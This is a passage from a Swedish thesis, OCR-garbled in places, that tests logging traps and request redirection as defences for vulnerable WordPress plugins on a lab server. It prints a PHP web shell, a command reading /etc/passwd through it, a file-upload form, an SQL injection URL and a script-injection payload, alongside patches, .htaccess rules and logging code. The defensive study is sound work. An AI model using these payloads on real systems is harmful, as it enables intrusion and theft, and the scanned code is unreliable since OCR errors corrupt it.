dorr till webbserverns skyddade filer. For att minera installationen provkors skriptet forst.

Shellcoden som skriptet anvander sig av ser ut sahar:

<?php
if(isset($_REQUEST['cmd)){
echo "<pre>";
$cmd = ($_REQUEST['ecmd);
system($cmd);
echo "</pre>";
die;}

7>

Skriptet ar ett Pythonskript. For att kora skriptet fran kommandotolken, maste man forst
berétta till maskinen vart Pythontolken finns. Skriptet tar in som parameter sokvagen for
den shellcode som skall uppladdas (se Figur 8). Om uppladdningen lyckas, meddelar
skriptet namnet pa bakdorren samt sokvagen for den. Bakdorren kan sedan anvéandas for
att komma at skyddade filer.
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BN C\Windows\system32\cmd.exe

da.fi -f shell.she

Written by:
Claudio Yiviani

Chomelab. it

¥ = |:| | | E: iy

Figur 8. Skriptet meddelar att en bakddrr skapats

Med shellcoden uppladdad kan man forséka komma at webbserverns filer. Genom att
skriva foljande kommandon via bakdorren kan man lasa passwd-filen:
?cmd=cat+/etc/passwd

Inget hindrar inkrédktaren att modifiera kommandot for att komma at andra filer.
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Attacken kraver att man kan ladda upp en shellcode pa webbservern. Genom att filtrera
filerna som kan uppladdas pa webbservern enligt Figur 9, hindrar man uppladdningen

av shellcoder.

GNU nano 2.2.6 File: wp-content/plugins/wp-symposium/server/php/UploadHandler.php

Figur 9. Den patchade UploadHandler.php

Om man nu forsoker uppladda filer som inte finns med i filtret, far man ett felmeddelande.
Fore uppladdningsfunktionaliteten lagger man till loggningsfunktionaliteten for att fa

reda pa om nagon forsoker utnyttja sarbarheten.

5.4.2 WordPress Shopping Cart 3.0.4

Filuppladdningssarbarheten utnyttjas genom att uppladda en fil med banneruploader-
script.php. Detta skript finns i ett webbformular, vars PHP-kod visas nedan.

<form action=http://honung.arcada.fi/wp-content/plugins/wp-easycart/inc/amfphp/ad-
ministration/banneruploaderscript.php method="post" enctype="multipart/form-
data">

<input type="hidden" name="datemd5" value="1">

<input type="file" name="Filedata">

<input value="Upload!" type="submit">

</form>

Filen blir synlig i:
http://honung.arcada.fi/wp-content/plugins/wp-easycart/products/banners/

Genom att &ndra i banneruploaderscript.php if-satsens eller-villkor till ett och-villkor pat-
char man sarbarheten. Sedan insatter man funktionalitet att logga information om dem

som forsoker utnyttja sarbarheten fore if-satsen.
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5.4.3 WordPress Video Gallery 2.7.0

Man utnyttjar SQL-injiceringssarbarheten genom att gora en enkel SQL-férfragning efter
variabeln vid:
http://honung.arcada.fi/wp-admin/admin-ajax.php?action=rss&type=video&vid=id=0
order by 20--

| en sarbar installation sorterar forfragningen de 20 forsta tabellelementen och visar dem.
Den sarbara videogalleryrss.php-filen patchas med att omringa vid-inmatningen med
intval-funktionen enligt Figur 10 vilket dndrar inmatningen till narmaste heltal. Detta

hindrar SQL-injicering.

GNU mano 2.2.6 File: .../www/html/wp-content/plugins/contus-videco-gallery/videogalleryrss.php

t (INPUT_GET, 'wid')}:

humbdata ( $thunbImageorder , $where , fdatalimi

Figur 10. Den patchade videogalleryrss.php

Genom att insatta loggningsfunktionalitet i videogalleryrss.php-filen kan man logga

SQL-injiceringsforsoken.

5.4.4 Fancybox for WordPress 3.0.2

En sarbarhet tillater injicerandet av ett skript till indatat. Indatat skickas med foljande

formular:

<form method="POST" action="http://honung.arcada.fi/wp-admin/ad-
minpost.php?page=fancybox-for-WordPress">

<input type="text" name="action" value="update">

<input type="text" name="mfbfw[padding]" value="</script><script>alert(/Owned
by someone/)</script>"">

<input type="submit" value="Send">

</form>

Det skadliga skriptet injiceras till vardet value och skickas till webbplatsen. Exempel-

skriptet ovan Oppnar ett poppuppfonster nar man besoker webbplatsen, men det kunde
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vara en nedladdning av ett skadligt program som startas. Man kan se det injicerade skrip-

tet i webbplatsens kallkod (se Figur 11).

Jguery("a. fancybox") . fancybox ({
'eyclic': false,
"antoScale': false,
'padding': </=oriptr<scriptralertc(/Owned by someones/)</=script>,
'opacity': fal=se,

'speedIn': ,

'speedCut': .,

'changeSpeed': ,
'overlayShow': false,
'overlayOpacity': "9,
'"overlayColor': "9,
'titleShow': false,
'*titlePo=sition': '*,
'enableEscapebutton': false,
'showClosebButton': false,
'showHavhArrows"'": false,
"hideCnCverlayClick': false,
"hideCnContentClick': false,

'width': ,

"height': ,
'"transitionIn': """,
'transitionCuc': "",
'centerCnScrollt: false

by

Figur 11. Det injicerade skriptet

Med att granska insticksmodulens uppdaterade kéllkod i Figur 12 ser man att funktionen
nu validerar indatat genom att kolla varifran forfragningen kommer. Genom att insatta

loggningsfunktionalitet fore if-satsen far man information om dem som férséker utnyttja

sarbarheten.

GNU nano 2.2.6 File: /var/www/html/wp-content/plugins/fancybox-for-wordpress/fancybox.php

..........

Figur 12. Den patchade fancybox.php
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5.4.5 WordPress Download Manager 2.7.4

For att verifiera att skriptet fungerar kan man forst exekvera det pa en sarbar installation.
Skriptet ar skrivet pa Python. For att kunna kora skriptet fran kommandotolken maste
man forst beréatta till maskinen vart Pythontolken finns (se Figur 13). Skriptet tar in som
parameter webbplatsens adress. Om skriptet kan exekveras meddelar den det och an-
vandaruppgifterna om den nyligen skapade administratéren. Anvéandaren finns da i webb-

platsens databas och kan anvandas for att logga in. Potentiellt kan attackeraren ta éver

hela webbplatsen, vilket gor denna sarbarhet ytterst farlig.

& o - = = =

Written
Claudiao Yiviani

I }-'II:II"I-IE | Elb . | t

Figur 13. En lyckad attack
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N&r man granskar koden i Figur 14 kan man se att det inte langre récker att funktionen

existerar utan den maste ocksa finnas i programmet.

GHNUO nano 2.2.6 File: wpdm-core.php

Figur 14. Den patchade wpdm_ajax_call_exec-funktionen
I den patchade funktionen infor man funktionalitet att logga attackerarens information.
De som nu forsoker utnyttja skriptet far ett felmeddelande och information om dem log-

gas i en fil.

5.5 Omdirigering av forfragningar

For att kunna minera en sarbarhet maste man veta var sarbarheten ligger och hur den
patchas. Dessutom maste man ha tillgang till kallkoden. Detta ar inte alltid maojligt. | stal-
let for att minera sarbarheten, kan man omdirigera de hotfulla forfragningarna. De flesta
forfragningarna misslyckas for att den efterfragade katalogen eller filen inte existerar.
Misslyckade forfragningar returnerar felmeddelandet 404. Genom att studera apache-log-
gen pa webbservern far man information om olika forfragningar som gors mot webbplat-

sen. Exempelutdrag ur loggen:

89.248.171.167 - - [03/Apr/2015:21:46:48] "GET /wp-content/plugins/simple-ads-ma-
nager/ HTTP/1.1"

95.213.143.180 - - [04/Apr/2015:00:19:15] "GET /rom-0 HTTP/1.1"

222.186.58.175 - - [04/Apr/2015:16:38:21 +0300] "POST /login.action HTTP/1.1"

Webbplatsen har fatt en forfragning efter insticksmodulen simple ads manager vilket kan

betyda att modulen har en sarbarhet.
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5.5.1 Konfigurering av .htaccess-filen

Genom att skapa en .htaccess-fil, kan man omdirigera forfragningar till en annan fil. Man
omdirigerar forfragningarna for de sarbara filerna. Féljande .htaccess-fil finns pa webb-

servern:

RewriteEngine On

# if a directory or a file exists, use it directly

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d

# otherwise forward it to notfound.php

RewriteRule . notfound.php

# Overwrite these request to specific locations

RewriteRule “info.php$ notfound.php

RewriteRule “wp-content/plugins/wp-easycart/inc/amfphp/administration/banneru-
ploaderscript.php$ notfound.php

RewriteRule “wp-content/plugins/fancybox-for-WordPress/fancybox.php$ notfound.php
RewriteRule “wp-content/plugins/contus-video-gallery/videogalleryrss.php$ not-
found.php

RewriteRule “wp-content/plugins/download-manager/wpdm-core.php$ notfound.php
RewriteRule “wp-content/plugins/wp-symposium/server/php/index.php$ notfound.php

Kommandona i filen .htaccess kollar forst om katalogen eller filen forfragningen fragar
efter existerar pa webbservern. | fall den inte gor det, omdirigeras forfragningen till not-
found.php. Forfragningen hanteras normalt om det inte specifikt finns en regel for just
den filen. Exempelvis om forfragningen fragar efter info.php omdirigeras forfragningen
till notfound.php och existensen av info.php forblir dold. Med samma princip skriver man

in sokvéagarna for de sarbara filerna i insticksmodulerna.
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5.5.2 Loggningsskriptet

Skriptet notfound.php som .htaccess-filen omdirigerar till loggar samma information som
mineringskoden, men i stallet for att logga fran vilken sida attacken gjorts, loggar man
hellre forfragningen som gjordes. Efter att loggningen har gjorts skickar skriptet felmed-
delandet 404 Not found. Skriptet ser ut sa har:

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache/2.4.10 (Ubuntu) Server at honung.arcada.fi Port 80</address>

</body></html>

<?php

date_default_timezone_set(‘'Europe/Helsinki'’);

$file = 'redirection.Log";

$actual_link = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST URI]";
Sipadress = $ SERVER['REMOTE_ADDR';

$date = date(‘'d/F/Y G:i:s');

$browser = $_SERVER['HTTP_USER_AGENT';

$fp = fopen($file, 'a");

fwrite($fp, $ipadress.' - ['.$date.] ".$actual_link." ".$browser."\r\n");
fclose($fp);

header("HTTP/1.0 404 Not Found");

7>
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6 RESULTAT

6.1 Resultat med minerade insticksmoduler

Intrangsforsoken har producerat loggfiler. En del av de minerade insticksmodulerna ut-

nyttjar WordPress-funktionalitet, vilket reflekteras i loggfilernas innehall.

WordPress Symposium 14.11 har loggat:

80.220.110.12 - [16/March/2015 08:17:32] /wp-content/plugins/wp-symposium/ser-
ver/php/index.php Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36

Den besokta sidan ar sokstigen till vart man forsokt uppladda shellcoden. Exploit-skriptet
forfalskar informationen om attackerarens webblédsare genom att inskicka ett fordefinierat

huvud. Loggfilen loggade inte administrativa aktiviteter, vilket gor mineringen lyckad.
WordPress Shopping Cart 3.0.4 har loggat:

80.220.110.12 - [01/April/2015 11:22:31] /wp-content/plugins/wp-easycart/inc/am-
fphp/administration/banneruploaderscript.php Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:36.0) Gecko/20100101 Firefox/36.0

Sidan som besdokts ar den som formularet utnyttjar for att uppladda filen. For att intranget
gors med formularet fran anvandarens dator utan mellansteg, ar informationen om webb-
lasaren offentlig. Administrativa atgarder triggade inte mineringen.

WordPress Video Gallery 2.7.0 har loggat:

80.220.110.12 - [16/March/2015 02:48:33] /wp-admin/admin-ajax.php Mozilla/5.0

(Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
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Alla databasrelaterade forfragningarna kraver administrativa rattigheter och gar darfor
igenom admin-ajax.php. Admin-ajax.php hanterar uppdateringar i databasen automatiskt
utan omladdning av sjalva webbsidan. Att minera denna sarbarhet rekommenderas inte,

eftersom minan skulle triggas varje gang da man uppdaterar databasen.

Fancybox for WordPress 3.0.2 har loggat:

80.220.110.12 - [01/April/2015 10:37:07] /wp-admin/index.php Mozilla/5.0 (Windows
NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

80.220.110.12 - [01/April/2015 10:49:33] /wp-admin/plugins.php Mozilla/5.0 (Win-
dows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

80.220.110.12 - [01/April/2015 10:49:34] /wp-admin/admin-ajax.php Mozilla/5.0 (Win-
dows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

80.220.110.12 - [01/April/2015 10:50:14] /wp-admin/admin-post.php Mozilla/5.0 (Win-
dows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

Fancybox ar ett administrativt verktyg. Loggfilen har darfor loggat ocksa alla andra ad-
ministrativa handelserna och inte bara admin-post.php som man utnyttjar i sarbarheten.

Av denna orsak ar minering inte en bra motatgérd.

En del av vad WordPress Download Manager 2.7.4 har loggat:

80.220.110.12 - [31/March/2015 02:58:16] /index.php Mozilla/5.0 (Windows NT 6.1;
WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

1.171.73.177 - [31/March/2015 03:26:37] /index.php

128.61.240.66 - [31/March/2015 03:53:49] /index.php netscan.gtisc.gatech.edu

Loggfilen har loggat allting som har gatt igenom index.php vilket inkluderar ocksa beso-

ken pa huvudsidan. Att minera huvudsidan till en webbplats rekommenderas inte.
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6.2 Resultat med omdirigeringsskriptet

Omdirigeringsskriptet har producerat en loggfil dar forfragningarna efter de sarbara fi-

lerna har loggats. Ett utkast ur loggfilen:

91.217.90.49 - [13/April/2015 3:47:02] http://193.167.36.251/rom-0 Mozilla/5.0 (com-
patible; Googlebot/2.1; +http://www.google.com/bot.html)

80.220.110.12 - [13/April/2015 20:03:39] http://honung.arcada.fi/wp-con-
tent/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
80.220.110.12 - [13/April/2015 20:23:48] http://honung.arcada.fi/wp-con-
tent/plugins/wp-symposium/server/php/index.php Mozilla/5.0 (Windows NT 6.1;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Sa-
fari/537.36

Den forsta forfragningen har omdirigerats till skriptet for att filen den fragar efter inte
existerar pa webbservern. Forsoket att uppladda bakddrren som utnyttjar sarbarheten i
Symposium 14.11 har hindrats av skriptet. Hindrats har ocksa filuppladdningsforsoket
som utnyttjar sarbarheten i WordPress Shopping Cart 3.0.4. Forsoken att utnyttja sar-
barheterna i de 6vriga insticksmodulerna omdirigerades inte. En sarbarhet kan tillata ut-
nyttjandet av ytterlig funktionalitet. Detta betyder att den sarbara filen inte behover di-
rekt utnyttjas i intrangsattacken, vilket ar orsaken till att omdirigeringen misslyckats.
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7 SLUTSATSER

Detta examensarbete gick ut pa att undersoka I6sningar for aktiva forsvarsmekanismer
och hur intrangsattacker utnyttjar sarbarheter i webbinstallationer. Som en del av arbetet
prévades minering som ett aktivt férsvar mot intrangsattacker i en WordPress-installat-
ion. Det kom fram att minering inte ar effektivt mot intrangsattacker som indirekt utnytt-
jar sarbarheten for att komma at administrativ funktionalitet. Minering av funktioner som
anvands dagligen av administratéren triggar falska larm. Minering fungerar dock mot di-
rekta intrangsattacker. Att omdirigera hotfulla forfragningar for filer som inte existerar
pa webbservern fungerar bra for att samla information om potentiella sarbarheter och
hotfulla IP-adresser, men som atgard paverkas den av samma problem som mineringen.
Jag tror dock att metoden har potential att vara en vardig atgard mot intrangsattacker med

vidareutveckling och optimering.
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